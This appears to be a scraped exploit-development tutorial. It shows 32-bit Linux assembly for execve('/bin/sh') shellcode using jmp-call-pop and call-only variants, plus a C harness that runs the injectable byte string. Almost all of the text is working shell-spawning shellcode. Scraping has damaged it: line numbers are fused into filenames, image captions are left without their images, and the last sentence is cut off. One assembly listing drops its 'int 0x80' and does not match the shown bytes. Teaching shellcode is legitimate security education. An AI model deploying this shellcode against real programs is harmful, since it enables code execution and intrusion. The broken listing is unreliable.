shellcode.asm1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| global _start
section .text _start: jmp short call_shellcode
shellcode: pop ebx ; address of '/bin/sh' xor eax,eax mov al, 11 ; 0xb int 0x80
call_shellcode: call shellcode message db "/bin/sh" ; no need to add \0 manually
|
After call
, address of ‘/bin/sh’ is at the top of the stack:
Without jmp
:
shellcode-2.asm1 2 3 4 5 6 7 8 9 10 11 12
| global _start
section .text _start: call shellcode message db "/bin/sh",0 ; \0, compare to jmp-call-pop method
shellcode: pop ebx xor eax, eax mov al, 0xb int 0x80
|
[esp]
:
objdump -M intel -d
, null byte:
But if you want to embed this shellcode into other programs, ensure ecx and edx are 0.
shellcode-3.asm1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| global _start
section .text _start: jmp short call_shellcode
shellcode: pop ebx xor eax, eax xor ecx, ecx xor edx, edx mov al, 0xb
call_shellcode: call shellcode: message db "/bin/sh"
|
Add this version into c program:
shellcode.c1 2 3 4 5 6 7 8 9 10 11 12
| #include<stdio.h> #include<string.h>
unsigned char code[] = \ "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main() { int (*ret)() = (int(*)())code; ret(); return 0; }
|
If there’s no xor for ecx and edx: